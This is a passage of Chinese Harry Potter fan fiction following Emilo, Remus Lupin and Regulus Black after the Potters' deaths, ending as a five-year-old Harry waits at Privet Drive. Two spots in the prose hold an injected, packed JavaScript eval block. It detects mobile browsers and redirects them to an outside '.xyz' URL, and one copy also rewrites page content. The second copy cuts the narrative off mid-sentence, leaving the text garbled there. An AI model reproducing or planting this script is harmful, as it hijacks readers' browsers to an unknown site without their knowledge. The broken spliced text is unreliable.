“哎哟!”伯莎有些心虚地推了一下埃米洛的肩膀,试图缓解紧张的气氛,“我知道啦!现在不是说这个的时候……又跑题了!你应该更清楚他们谁才是好人吧?毕竟你跟他们一个宿舍住了七年!詹姆、卢平、彼得、布莱克……你不是也说布莱克有点太极端了么?你最后是不是还被他误会了?哎呀……彼得说的……我不好意思问你。妈呀,我快错过时间了,我给赶快走了!快走快走。” 埃米洛的目光再次投向那扇紧闭的门,眼神深处是难以捉摸的复杂:“你最近忙什么?审判工作这边没有你效率很低。” “哦……克劳奇司长最近让我负责跟媒体沟通的事务。” 伯莎拽着他登上电梯,愁眉苦脸的,“我也想过去帮你们啊……感觉我自己被克劳奇下放了。” “我都能想象的到我月底没有奖金了……不过我最近认识了好多媒体人,丽塔·斯基特,你知道的,还有谢诺菲留斯·洛夫古德,他自己办了个《唱唱反调》,虽然有点……古怪。我们仨简直一见如故!呃,当然,丽塔和谢诺菲留斯互相看不对眼,竞争对手嘛……不过他们的报道都很有‘艺术性’,我觉得特别棒!嗯,不过你应该不喜欢这种……不是拉文克劳很难懂他们的幽默……我准备联系《预言家日报》那边……替彼得征集一下民意支持,梅林胸章不也需要威森加摩集体投票么?别让他白白牺牲了。” 她滔滔不绝起来。 媒体?埃米洛忽然想到了当时第一次调职的时候克劳奇问他的问题——对预言家日报的看法。 “……可能不是下放呢?”埃米洛按下关门键,最后扫视了一眼小天狼星在的房间。“你可以让他们在颂扬彼得的同时,顺便称颂一下克劳奇司长。毕竟是他迅速签发了对小天狼星·布莱克的逮捕令……这不是很好的竞选素材吗?学姐,克劳奇也许是在暗示你啊。” “……有道理!”伯莎恍然大悟:“不愧是你,还是给看你来事儿。”她重重的拍了一下他的肩膀,嘴角压不住笑意,风风火火的出去了,仿佛已经看见了自己当上“部长秘书”的样子。 埃米洛站在原地,看着伯莎匆匆离去的背影,眼底的波动沉寂了下去,只剩下晦涩难明的幽深,如同魔法部地下迷宫般不可测。他轻轻整理了一下被小天狼星大脑封闭术冲击弄皱的袍袖,走出了魔法部的大门。莱姆斯依然在昨天那个位置。 “起来。”他把苍白的狼人从地上拽起来:“别哭丧了。” “去预言家日报总部一趟,现在就去。不管布莱克家有没有预订,都说给他们定半年的报纸,明天必须开始配送。名义用……用卢修斯·马尔福的,你们凤凰社有复方汤剂吧?” “小天狼星能获得重新审理的机会了?”莱姆斯激动的抓住他的胳膊。 “……还不行。”埃米洛把自己的手抽出来:“但你去了,说不定就行了。” “为什么?”莱姆斯没有懂这其中的关翘,懵懂的问道。 “赌博。”埃米洛平淡的说道:“赌小布莱克依旧是个良心不安,放不下哥哥的失足少年。赌他肯为他不配合的哥哥花点钞能力。” “他一出门也许就会被傲罗逮捕……” “是啊,但他本来就是食死徒,不是吗?逮住了他,也许魔法部会破格给你一份工作?”埃米洛的目光扫过他打着补丁的衣服。 “……跟这个没有关系。”莱姆斯簇起了眉毛:“我也不是要救小天狼星……我只是……” 想要真相。 “你只是受不了朋友们分崩离析。”埃米洛直戳他不愿意面对的真相,顿了一下,接着继续说道:“我也去找我的老师要了当时事发地点的回忆,他是第一批到那里的,亲手查看了旁边麻瓜们的回忆。” 莱姆斯用看救命稻草的眼神看着他。 “他给了我两种论断,两种真相。你要听么?一种就摆在你面前。”他随意指了指身后,目前关着小天狼星的魔法部。 “另一种可能,彼得没死,他是罪魁祸首……你还记得他是阿尼玛格斯么?那么小的老鼠……伪装成被炸死的样子多容易。”随着他的话语落下,高大的狼人颤抖了一下。 他拍了拍莱姆斯的肩膀:“但都是你的朋友,不是么?伤害过你的布莱克,还有我们都觉得懦弱不成事的彼得……” “你想看见哪种结果呢?莱姆斯。” 莱姆斯的面容更加苍老了。 埃米洛心里叹了一口气,他想到了六年级,想到了莱姆斯当时同自己在级长浴室的对话,他也许早有预料,但他总是这样,总是这样疲惫又温和的接受,顺便让一切发生。 他知道五年级的黑湖边会发生什么,他就那么看着它发生。他知道加入凤凰社最后不会有什么人相信他,他就那么看着它发生。他知道最后自己的好友们会变成这个结果么?也许深处其中的他也早有预感…… “你自己决定吧。”埃米洛塞给他一张纸条,忽然觉得自己已经不想多说什么了。 他伸出手,发现天空开始下雪。今天是11月2号,有一个所有基督教徒都知道的故事是——耶稣会在死后第三天复活。波特夫妇遇害时间在10月31日晚上8点,三日后,正好是明天晚上。 埃米洛幻影移形到戈德里克山谷,那里放着詹姆和莉莉的墓碑。他死死的盯着那块儿落了雪的冻土,像是要把里面的人硬生生刨出来。 究竟谁是犹太?你知道么?他在心底默默的发问,抬手扶去了墓碑上的雪。远处的林间,一只劲瘦的黑狗飞快的跑过,嘴里叼着一只冻死的老鼠。他眨了一下眼睛,黑狗和老鼠都不见了,是他的幻觉。 埃米洛突然想起来二年级的时候,詹姆在休息室给小天狼星办了一个巨大的生日宴会。说到这个,小天狼星正好是11月3日的生日…… 巫师不信奉基督教。埃米洛淡淡的笑了一下,似乎在嘲讽自己的神经质。他回到家,冲了一杯热可可,然后给克劳奇写了一封请假信。 他也该去圣芒戈给艾莲娜办葬礼了。 31.莱姆斯卢平 小布莱克是什么样的人呢?莱姆斯坐在街角的咖啡店里,氤氲的热气模糊了窗外的飞雪,他盯着面前拿铁上那朵逐渐消散的天鹅拉花发呆,思绪飘回了霍格沃茨的时候。 他比他们都要小一年级。莱姆斯记得二年级开学的不久,他拘谨地站在胖夫人肖像旁,身体绷得像一张拉满的弓,小小的下巴却倔强地微微扬起,试图用斯莱特林领带系出的完美角度和一丝不苟的黑发来武装自己,对抗周遭的陌生和格兰芬多们潜在的审视。 “你找谁?”莱姆斯从画像口钻出来,正准备去图书馆。他微微低下头,看着这个安静、眼神却锐利得像幼鹰的小男孩儿。 雷古勒斯抬起那双酷似小天狼星的灰色眼睛,冷冷地扫了他一眼,紧抿着唇,一言不发。不好奇,不求助,只本能的、评估性质的疏离。 “他是小天狼星的弟弟。”旁边同样抱着书的埃米洛看了两人一眼,打破了尴尬的沉默:“你去帮忙喊一下吧,我帮你把书带过去,顺便占个位置。” “哦,哦。好的。”莱姆斯这才惊觉,那熟悉的眉眼轮廓——是的,像极了小天狼星,但那周身萦绕的、如同古堡深处般沉静的气息,以及那份过早的、近乎压抑的持重,让他完全没有将两者联系起来。小天狼星的光芒是燃烧的、外放的;雷古勒斯的光,则像是被精心打磨过的黑曜石,幽深、内敛,带着拒人千里的寒意。 “……谢谢。”半晌,对方才从喉咙里极其别扭地挤出两个音节,仿佛承认需要他的帮助本身便是一种耻辱。 “你是混血。”埃米洛一阵见血的指出了背后的原因:“你还记得小天狼星怎么说的么?布莱克家对混血的歧视几乎是纯血里最严重的。” 哦,原来因为这个。莱姆斯的心中滑过一丝黯然,他想到了小天狼星和詹姆。他们都是纯血,所以两个人关系更亲近么? 不过出人意料的,这个沉默的小斯莱特林后来竟时常会找到他。通常是为了转交些给哥哥的东西——一封措辞冰冷、带着布莱克夫人火漆印的信,一件昂贵的礼物,或者仅仅是母亲要求的口信。内容总是尖锐刻薄——双方都是如此。老好人莱姆斯便自然而然地当起了传声筒,小心翼翼地用他温和的措辞包裹那些棱角分明的字句,试图在冰冷的命令和叛逆的沉默之间搭起一座脆弱的桥。雷古勒斯每次接过润色后的话,表情都无甚变化,只是那双灰眼睛里偶尔会掠过一丝极快、难以捕捉的、或许是讶异,或许是不解的光芒,最终归于沉寂,只留下一个生硬的“知道了”或微微的颔首。 二年级时,詹姆已经在魁地奇球场声名鹊起。莱姆斯被霍琦夫人拉去做志愿者,穿梭在不同学院震耳欲聋的欢呼浪潮里。他很快注意到,小布莱克几乎场场必到。他总是坐在同一个位置——西北角晒不着太阳的最顶端看台,像一个被精心摆放、却忘了上发条的精致人偶,背脊挺得笔直,双手规矩地放在膝盖上,脸上是万年不变的、毫无波澜的漠然。眼睛精准地追随着金色飞贼的轨迹,偶尔,会极其短暂地扫过詹姆和小天狼星张扬的身影。 出于一种对朋友弟弟的、或许也掺杂了些许好奇的关怀,莱姆斯会在中场休息时,特意绕上去,递给他一瓶冰凉的巧克力牛奶(他观察到雷古勒斯不拒绝这个)。 “波特他飞得很厉害。”有一次,当詹姆以一个惊险的俯冲截断对手的传球时,雷古勒斯忽然开口,声音平板无波,目光却牢牢锁定着空中的身影。 “是啊……”莱姆斯有些意外,犹豫着附和,“詹姆几乎所有事情都做得很好。” “我其实飞得也很好。”雷古勒斯抱起手臂,动作带着一种贵族式的矜持,下巴的线条绷紧了一瞬,“但我不喜欢追球手的位置,过于浮夸,付出多,回报小。找球手才是最好的,”他顿了顿,灰色的眼眸深处似乎燃起了一簇微小的、极具穿透力的火苗,“150分……一击必杀。” 莱姆斯在那一刻觉得自己窥探到了冰层下暗涌的湍流——一种无声的、执拗的、被小布莱克深深压抑的较量。针对那个永远走在他前方、光芒万丈的哥哥,以及哥哥身边那颗同样耀眼的太阳(詹姆)。他心下了然,却只是掩饰性地摸了摸鼻子,假装什么也没听出来,温和地回应:“我不太懂魁地奇……但我很期待明年能在球场上见到你……我会给你加油的。” “谢谢,但是不用,因为我会打败格兰芬多。”雷古勒斯的声音瞬间又冷却下去,恢复了那种拒人千里的客气和疏离,仿佛刚才那瞬间流露的锋芒只是莱姆斯的错觉。 上学的时候,莱姆斯内心最隐秘的角落里摆放着一个秘密——他最羡慕的人其实是小天狼星。小天狼星身上那种不顾一切燃烧着的、足以焚毁一切束缚的叛逆火焰,像最炽烈的烛火一样吸引着他这只习惯了妥协的飞蛾。即便那火焰的灼热常常将他烫伤。 然而,属于布莱克家族长子的那份友情,那份被小天狼星极其吝啬地施予的认可,又太具诱惑力了。那不是詹姆那种如同太阳普照万物般的温暖,小天狼星的友谊更像是一座险峻孤峰上的堡垒。他的心防极高,能艰难跋涉到他身边,本身就已经是一件值得在心底偷偷镌刻的勋章。 莱姆斯曾在无数个满月后的虚弱夜晚,偷偷在心里排过序:在格兰芬多的男生里,他当然永远也比不上詹姆——那是毋庸置疑的第一位;埃米洛跟小天狼星,大概只能算是“勉强相处的室友”;那么他和彼得呢?他掰着指头想,自己或许,应该,会比彼得在小天狼星心中强那么一点吧……他知道这种比较很卑微,但他又忍不住总是这样做。 莱姆斯有时觉得自己简直有受虐倾向。他总是不由自主地渴望那些最难得到的东西。比如,对莉莉那份悄悄的,谁也没看出来的暗恋;比如,一次次原谅小天狼星无意或有意的尖锐与伤害;又比如,他内心深处那份隐秘的、连自己都觉得莫名其妙的渴望——他希望朋友的弟弟,那个高傲疏离、不喜欢混血、仿佛对所有格兰芬多(尤其是掠夺者)都带着天然敌意的小布莱克,能在心底觉得他是他哥哥那群吵吵嚷嚷的朋友里,稍微有那么一点点不同的一个……不然为什么选了他做传声筒呢? 他太渴望一份“特别”的确认,证明自己并非完全透明、可有可无。这种渴望强烈到让他自己都感到不安。 所以,他总是在雷古勒斯面前表现得成熟、靠谱、温和。收敛起在同龄人中偶尔流露的疲惫和懦弱,像一个值得信赖的学长。以至于很多人,包括小天狼星在内,都不知道他们之间其实维持着一种奇特而微弱的联系,一种建立在转交物品和球场递水之上的、沉默的“关系不错”。 直到五年级,尖叫棚屋事件发生,一切都变了。当莱姆斯再次遇到雷古勒斯时,对方看他的眼神瞬间变得怪异起来,那里面混杂了震惊、警惕、一丝不易察觉的厌恶,以及一种……仿佛终于看透了他伪装的恍然。 一向对他人情绪敏锐如雷达的莱姆斯,心脏瞬间沉入谷底——他几乎立刻就能猜到发生了什么。斯内普,那个被小天狼星气到发狂的斯内普,一定对雷古勒斯说了些什么! 尽管邓布利多严令禁止明说,但关于“怪物”的谣言已如毒藤般在斯莱特林,甚至整个学校悄然蔓延。那段时间,莱姆斯心惊胆战,像惊弓之鸟,每一个落在身上的目光都让他如芒在背,害怕自己最不堪的秘密暴露在阳光下。 他对小天狼星感到深深的失望,尽管理智上明白对方只是没想那么多,只是一时冲动,但这事件像一盆冷水,彻底浇醒了他——他在小天狼星和詹姆那牢不可破的友谊中,终究只是个边缘的过客,一个可以被轻易牵连、却不会被优先考虑的“朋友”。他对斯内普也暗藏埋怨:为什么?为什么自己从未主动伤害过他,他却要如此执着地跟踪他们,非要将他的秘密置于死地?这份微弱的恶意让他在詹姆吊起斯内普的时候没有出声阻止,心里涌现出隐秘的、报复的快感。 再后来,战争爆发。他加入了凤凰社,为光明和守护而战。小布莱克,步入了家族为他铺好的黑暗之路,加入了食死徒。他们成了立场截然相反的敌人。 他们见过两次。 第一次,是在一家姓怀特的女巫家里。莱姆斯接到紧急求援,风尘仆仆地幻影显形赶到时,从碎裂的窗户里看到了令人窒息的一幕:小布莱克和埃弗里。埃弗里正对着一个蜷缩在地上、护着隆起腹部的孕妇狞笑,魔杖尖端闪烁着不祥的红光——是钻心咒!那凄厉的惨叫刺破空气。而雷古勒斯·布莱克,他面色惨白如纸,紧抿着唇,僵硬地站在埃弗里身后一步之遥的地方,像一尊没有生命的苍白石像。 他的魔杖垂在身侧,手指关节因为用力而泛白,眼神空洞地落在地板的某处,仿佛要将那里灼穿,却始终没有抬起魔杖,也没有发出任何声音。那苍白的脸色,与其说是施暴者的兴奋,不如说是某种强忍的煎熬。 “不可以!”莱姆斯目眦欲裂,一个盔甲护身咒猛地射出,替奄奄一息的孕妇挡住了埃弗里紧接着可能致命的咒语。 “凤凰社!”埃弗里立刻将魔杖转向他,眼中闪烁着嗜血的光,“雷古勒斯,上!解决他!” 莱姆斯刚结束了一场激烈的战斗,魔力消耗巨大,此刻又要保护身后脆弱的生命,还要同时面对两个凶残的食死徒,局面险象环生。埃弗里的咒语狠辣刁钻,好几次刺眼的绿光(索命咒)几乎是贴着他的身体擦过,死亡的寒意瞬间浸透骨髓。就在千钧一发之际—— “昏昏倒地!”一个不大的声音响起,魔咒的光芒却不是射向莱姆斯,而是精准地击中了埃弗里的后背!埃弗里脸上的狞笑瞬间凝固,身躯轰然倒地。 莱姆斯震惊无比,几乎不敢相信自己的眼睛和耳朵。他猛地看向雷古勒斯。 小布莱克只是轻飘飘地瞥了他一眼,那眼神复杂得难以解读——有决绝,有疲惫,或许还有一丝解脱?但他什么也没说,迅速移开了视线,仿佛刚才出手的不是他。莱姆斯立刻抓住这宝贵的喘息之机,迅速将门钥匙塞进孕妇颤抖的手中,看着她消失在安全的光芒里。 雷古勒斯则有些费力地试图拖起昏迷的埃弗里沉重的身体,被那死沉的重量拽得一个趔趄。 “……要帮忙吗?”莱姆斯看着这诡异到极点的一幕,下意识地开口。 “别过来,狼人。”对方冰冷的声音像淬了毒的针,毫不留情地刺过来,瞬间划清了界限。他再次用力拖拽埃弗里,伴随着一声幻影移形的爆响,消失在了原地。只留下莱姆斯站在一片狼藉中,心头翻涌着惊涛骇浪。那句“狼人”的称呼,冰冷刺骨,提醒着他身份的鸿沟;但那个击昏同伴的背影,却又在莱姆斯心中投下了一道巨大的、充满矛盾的阴影。 第二次是在一个深夜,凤凰社总部的宿舍里。小天狼星以为他睡着了,蹑手蹑脚地去洗澡。实际上,自从战争全面爆发,目睹了太多死亡和背叛,莱姆斯患上了严重的神经衰弱,几乎从未真正安眠过。 哗啦啦的水声掩盖了大部分声响。黑暗中,莱姆斯躺在沙发上,忽然看见小天狼星随意扔在椅子上的旧袍子内袋里,透出一丝微弱却持续的、不寻常的柔光。 什么东西?他赤着脚,悄无声息地走过去,带着一种不好的预感,伸手从袍子口袋里掏出了一面熟悉的、边缘雕刻着精细花纹的双面镜。镜面正微微发亮、震动。 西里斯……对面有人唤道,莱姆斯害怕是什么紧密任务,帮小天狼星接通了。 镜面闪烁了一下,浮现出的却不是凤凰社成员的脸,而是雷古勒斯·布莱克!他的脸色在镜面魔法光芒的映照下显得更加苍白憔悴,眼下带着浓重的青影,仿佛很久没有休息好。他显然也没料到接通的会是莱姆斯,那双疲惫的灰眼睛在看清对面是谁的瞬间,瞳孔猛地收缩,闪过一丝极快的惊愕和警惕,以及一丝慌乱。 “怎么是你?”雷古勒斯的声音压得极低,带着一种被撞破秘密的紧绷感,不等莱姆斯做出任何反应,镜面瞬间暗了下去——他切断了联系。 莱姆斯僵立在原地,只觉得一股寒气从脚底板直冲头顶,四肢百骸瞬间冰凉。他握着那面尚有余温的双面镜,耳边嗡嗡作响。他想起了凤凰社内部那些蹊跷的、似乎总是慢一步的任务失败……他想起了埃米洛曾经在某个深夜,两人在休息室的壁炉前聊起原生家庭时说过的话:“原生家庭难以逃离。大部分人都是这样。恨也恨不透彻,爱又无法去爱,只能在模糊不清的界限里挣扎着……我现在就是这样。” 他们所有人都以为小天狼星早已彻底斩断了与布莱克家族的联系,他的叛逆是那样彻底和决绝。但……真的是这样吗?这面隐藏的双面镜如何解释?雷古勒斯深夜的联系又意味着什么?那瞬间切断的慌乱……是怕被发现什么? 莱姆斯不动声色地将镜子小心翼翼地放回原处,位置分毫不差。他坐回沙发,目光穿透浴室磨砂玻璃上模糊晃动的人影,心脏在胸腔里沉重地跳动。怀疑的高墙在无声无息中轰然筑起,冰冷而坚固。一个布莱克,或许永远无法真正摆脱另一个布莱克? 他看着咖啡馆窗外模糊的大雪,这里距离格里莫广场不远。麻瓜们看不见,但是他看见了——看见那堵被魔法巧妙隐藏的空气墙(布莱克老宅的防护)一阵细微的波动,一个身影踉跄着从中走了出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123179|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雷古勒斯·布莱克穿着一件单薄的黑色长袍,脸色比上次在怀特家看到的更加苍白,几乎与漫天大雪同色。身影在风雪中显得异常单薄脆弱,仿佛随时会被这白茫茫的天地吞噬。下一个街口,就是魔法部的分支机构(傲罗办公室的临时联络点)。 莱姆斯猛地站起了身,咖啡杯在桌上轻微晃动。一个念头无比清晰地击中了他:也许自己的记忆,那些关于魁地奇看台上的交谈、关于怀特家袭击中那关键的反戈一击、关于他眼中那个矛盾挣扎的雷古勒斯·布莱克的碎片,可以替他减轻一些即将到来的、沉重的量刑。 他内心深处,始终无法将原来那个会接受他巧克力牛奶的男孩儿,与报纸上渲染的残酷无情、狂热效忠的食死徒形象完全重合。就像他至今不愿相信小天狼星会是出卖詹姆和莉莉的叛徒……他的心,似乎总是固执地为所有人留着一线余地,哪怕这余地会带来无尽的痛苦。 “卢平学长。”雷古勒斯显然也发现了他。他没有再使用“狼人”这个充满侮辱和区隔的称呼,声音在呼啸的风雪中显得异常平静。他停下脚步,转过身,雪花落满他乌黑的发顶和肩头。“不要跟着我了。” “我知道你为什么来找我。”那张酷似小天狼星、却因某种巨大的精神消耗而显得异常憔悴的脸庞正对着他,那双遗传自布莱克家族的灰色眼睛,此刻深邃得如同暴风雪前的海面,一眨不眨地锁定了莱姆斯。他的声音不高,却清晰地穿透风雪:“毕竟卢修斯·马尔福不可能突然‘好心’地给我们家订《预言家日报》,自从它被巴蒂·克劳奇那个强硬派彻底掌控,所有还坚持着所谓‘纯血荣光’的家族,早对它嗤之以鼻了。” 莱姆斯觉得自己喉咙像是被冰雪堵住,所有准备好的话都冻结了。他只能艰难地挤出心底盘旋已久、或许也是此刻最无力的一个问题:“你……没有真的……杀过人吧?” 他需要抓住最后一根稻草,来印证自己心中那个模糊的、关于对方并非全然堕落的判断。 雷古勒斯似乎觉得他这句话问得极其天真,甚至有些可笑:“……杀没杀过重要吗?视而不见亦是同谋,默许更是伤害。卢平学长,你难道还不明白吗?” “你以为西弗勒斯·斯内普为什么会最恨你?为什么总是给你找麻烦?为什么你明明没有直接得罪过他,他却对你充满厌恶?” 他顿了顿,让这尖锐的问题在风雪中回荡,“因为你总是‘看着’。看着掠夺者的恶作剧,看着小天狼星的莽撞,看着可能发生的伤害……你选择了沉默,选择了置身事外的温和。在斯内普眼里,这和帮凶有什么区别?你的‘好’,有时是另一种形式的残忍。” 斯内普最恨的……是他么?因为他……因为他总是看着,却从未真正阻止?莱姆斯如遭重击,他不自觉地踉跄着向后退了一步。原来如此……所以斯内普才会…… “我刚才还在想,来的会是谁。”雷古勒斯的目光从他身上移开,投向白茫茫的街道尽头,声音飘忽,像是在自言自语,“我想过西弗勒斯,毕竟他是我为数不多的朋友,虽然我们决裂了;想过卢修斯,毕竟他也害怕那位,会权衡利弊;想过魔法部的傲罗……” 漫天的雪花落在他纤长的睫毛上,又瞬间融化。“现在看见是你,”他重新将目光投向莱姆斯,那眼神里竟奇异地褪去了一些防备,“感觉……还真是奇妙。” “等一下,我有东西要给你。”莱姆斯深吸一口气,塞给他一张纸条:“我相信你……相信你没有真的杀人。虽然你说的对,默许也是一种伤害,但终究性质不同,你不能这么去冒险。” 雷古勒斯展开那张纸条,看清了上面的内容,轻轻的笑了一下:“你就这么信任我说的?也许我是骗你的。” “不……还有很多人。埃米洛给了我这张纸条,让我自己选择。我不知道,所以问了斯内普……虽然很不可思议,但是他是邓布利多相信的人,所以我去问了他。” ……邓布利多么? “他没骂你?” “呃……他当然是很不耐烦……” 雷古勒斯极其轻微地笑了一下,那笑容转瞬即逝,却像冰层裂开时透出的一线微光。他迅速而警惕地扫视了一下四周,确保无人窥视,然后动作利落地从长袍内袋里掏出一个东西。那东西被施加了强大的混淆咒,在莱姆斯眼中是一个金色飞贼的样子。雷古勒斯毫不犹豫地将它塞进了莱姆斯打着补丁、略显单薄的衣兜里。那触感冰冷坚硬,带着不祥的温热。 “交给邓布利多。”他压低声音,每个字都带着不容置疑的份量,灰色的眼眸死死盯着莱姆斯,里面燃烧着一种近乎献祭般的决绝,“亲手交给他。答应我。一定答应我。好么?” “这是什么?”莱姆斯下意识地按住衣兜,那冰冷坚硬的触感仿佛带着灼人的温度。 “是什么不重要。重要的是它必须到邓布利多手上。”雷古勒斯避而不答,只是再次强调,“记住你的承诺。” “我会的。”莱姆斯的声音被呼啸的风雪吞噬,显得那么微弱,但又无比清晰。他看着雷古勒斯被风雪卷起的袍角和苍白如纸的脸,郑重的承诺道。 我相信你。雷古勒斯在心里无声的说。 你是只要见过,就会知道值得信任的好人。这句话在雷古勒斯心中清晰地响起。他想起了第一次见面,他身边走过了那么多人,只有卢平停下来了。 他想起霍格沃茨那些被仔细润色过、缓和了母子间剑拔弩张的家信;想起了魁地奇球场上,那个总会特意留给坐在角落里的他一瓶饮料的温和学长;想起了即使在尖叫棚屋秘密暴露后,对方看向自己时,眼中那复杂的、参杂着期待的闪烁……这份无声的、不求回报的“好”,在他生活里太难得了。 雷古勒斯没有再说话。他向他挥手道别。毅然决然地转过身,雪花疯狂地落在他肩上、头上,那个单薄的身影在茫茫白色中越来越小,越来越模糊,最终,消失在了幻影移形魔法的炸裂声中。 莱姆斯站在原地,衣兜里那冰的物体像一块烧红的烙铁,烫得他灵魂都在颤抖。 赌博。埃米洛的声音在他耳边回响。莱姆斯害怕赌博……这是最可能满盘皆输的事情。 他只跟着詹姆他们赌过一次钱,那次是拉文克劳对阵斯莱特林,詹姆让他把赌注下给雷古勒斯,引起了小天狼星的不满,但他们最后还是都投了雷古勒斯,最后也赢了,赚了史无前例的一笔钱。 风雪呼啸,淹没了所有的杂念,高大的狼人对着那扇门合实手掌,像最虔诚的信徒一样祈祷起来,祈祷正义能赢,祈祷詹姆,祈祷梅林,祈祷耶稣……祈祷他们会再次保佑世间。 32.一个新愿望 暮色四合,最后一缕灰白的光线挣扎着掠过艾莲娜的墓碑,埃米洛送走了最后一批前来悼念的面孔。 枯草在寒风中簌簌作响。他伫立在母亲的新坟前,一阵突兀而熟悉的猫头鹰拍翅声撕裂了凝滞的空气。 他下意识地抬起手,一张被洇湿了边角的《预言家日报》落入掌心。油墨气息扑面而来。今天是11月7日:距离那个名字都不能提的黑魔王被一个婴儿奇迹般击败,整整过去了一个星期;也是新一任魔法部部长粉墨登场的日子。 头版头条,康奈利·福吉那张圆润、带着一丝刻意亲和力的脸孔占据了大幅版面,标题宣告着他的胜利——第十任魔法部部长。埃米洛将报纸翻转,背面标题的字号同样巨大:《无能之父还是另有隐情?揭露铁腕政治家巴蒂·克劳奇背后的故事》。 他的思绪瞬间被拉回五天前——他将一张写着福吉私人住址的纸条,塞给了莱姆斯。 “如果你认为雷古勒斯·布莱克值得信任……就把这个给他吧。” 他相信以雷古勒斯那继承自布莱克家族的精明足以“一点就透”,明白那张纸条背后通往的是翻盘的机会。 小巴蒂·克劳奇。这个名字在埃米洛的心腔里猛烈撞击,像一头被囚禁许久的困兽发出无声的咆哮。他狠狠攥紧了拳头,指甲深陷掌心。 半年前,魔法部抓住了被折磨得不成人形的埃文·罗齐尔。吐真剂失效,摄神取念也无功而返,他的记忆被恶意搅碎,如同被飓风撕烂的羊皮纸。“没用了,埃米洛,”奥格登疲惫地摇头,“放弃吧,这构不成任何证据。” 埃米洛在傲罗的监控下按程序销毁罗齐尔的记忆瓶。但没人知道他其实早早就备份了一份。 这半年,他每天都在摇曳的烛光下试图将那些混乱、尖叫、充斥着痛苦和黑暗的碎片,拼凑成一副模糊但指向明确的图景。那是一项比解构最复杂的古代魔文还要艰涩的任务——每一片记忆碎片都带着罗齐尔崩溃时的战栗,毫无逻辑,疯狂呓语。最终,在十月初一个寒冷的凌晨,他捕捉到了那个模糊但刻骨铭心的身影轮廓,以及那阴冷得如同毒蛇吐信的声音:“你算计我,把我的功劳送给雷古勒斯·布莱克的时候有想过这一天么?嗯?” 那个声音他认识是小巴蒂·克劳奇!是他! 他怀疑过金斯莱·沙克尔,对方因为学院的原因郁郁不得志,作案动机充足;怀疑过福吉,他知道福吉那副平庸面孔下与纯血家族们有不清不楚的金钱交易……他从未怀疑过魔法部最核心、最致命的那根毒刺,竟会是小巴蒂。在他面前,小巴蒂总是那个谦逊、好学、偶尔偏激但才华横溢的年轻人,一个被严苛父亲压迫的优等生。他以为小巴蒂的恨意只针对老克劳奇,对方只想撕下父亲道貌岸然的假面。 不……其实线索一直都在。埃米洛的思维串联起那些曾被忽略的碎片。交通司、傲罗办公室……谁说那是下放或英勇?分明是精巧的布局。他拼凑出了真相,然而,另一个知晓秘密的关键人物——雷古勒斯·布莱克——却如人间蒸发。揭发?向谁?魔法部?那些坐在高背椅上、满脑子权力倾轧和维持现状的官僚们?克劳奇本人? 埃米洛嘴角扯出一个毫无温度的弧度。他不能打草惊蛇,小巴蒂·克劳奇是一条藏在暗影里的毒蛇,一个能将整个魔法部玩弄于股掌之间的天才阴谋家,绝非热血上涌就能对付的愣头青。他只能将这个足以引爆整个巫师界的秘密,连同那令人窒息的恐惧和愤怒,硬生生咽回肚子里,在沉默中等待一个渺茫的、可能永远等不到的时机。 接着,伏地魔倒了,预言应验了。再紧接着,小天狼星“背叛”、彼得“牺牲”、詹姆和莉莉死亡、艾莲娜去世…… 在双重死亡的冲击波中,他感觉自己的一部分也死去了,凝固了。面对匆匆赶来的莱姆斯·卢平,那张同样被痛苦和风霜侵蚀的脸,埃米洛喉咙干涩,竟连一句最简单的“好久不见”都挤不出来。 悲伤?他试图去感受,但胸腔里只有一片冰冷的、令人恐慌的空茫。詹姆,那个永远像一团跳跃的火焰、照亮所有人的掠夺者首领,那个最有活力、笑声最响亮的人…怎么会是他?死神为何偏偏先带走了最不甘沉寂的灵魂?没有悲伤,只有荒谬感沉重地压在他的肩头。 邓布利多线人的消息适时传来:莱斯特兰奇夫妇像两条受伤的疯狗,正在疯狂地搜寻他们“主人”的踪迹,拒绝相信那不可思议的失败。 埃米洛躺在冰冷的床上,望着天花板上模糊的阴影,一种强烈的自我厌恶感攫住了他。就在这片为母亲和挚友哀悼的、理应纯粹的悲伤空茫中,一个冰冷、精算、甚至称得上卑劣的念头,如同黑暗中滋生的毒藤蔓,清晰地浮现出来——这是机会! 一个千载难逢的机会,一场可以一石数鸟的豪赌! 狂热追随伏地魔的小巴蒂·克劳奇绝不会坐视主人“失败”的污名,定会有所动作,自投罗网;雷古勒斯若为小天狼星申冤,旧案必然重审,供出谁?当然是小巴蒂,以及食死徒接下来的计划;福吉,那个野心勃勃的投机者,绝不会放过这个攫取最高权力的真空期……他只需要轻轻推动——让邓布利多的线人在食死徒余孽中巧妙地散播“寻找黑魔王”的消息,精准地传到布莱克家族和小巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最好是在一个晴天。不要这阴冷的英国墓园,他想要一片能看到海的地方,有洁白的细沙,有自由盘旋的海鸥,能听到海浪永恒的叹息……只是那样,大概就没有棺椁了。 想什么呢?他听见詹姆在对他生气的喊话:你才二十一,马上二十二岁!有点志气,怎么也要活够邓布利多的年纪吧! 你也才二十一岁。埃米洛毫不客气的对那个幻想说道。你都没法有志气了。 但确实,他才二十一岁。埃米洛紧紧的闭了一下眼睛,用力甩了甩头,将那些关于死亡的思绪从脑中驱逐了出去。 33.一九八五年 哈利今年五岁了,是小惠金区女贞路所有住户眼里活泼开朗又聪明的好孩子。 今天是十月三十一日,从灰蒙蒙的晨光初现开始,他圆圆的眼镜片就一直紧贴着有些凉意的玻璃,碧绿的大眼睛一眨不眨地盯着弗农姨父打理得过于整齐的前院,还有那光秃秃的街道尽头。 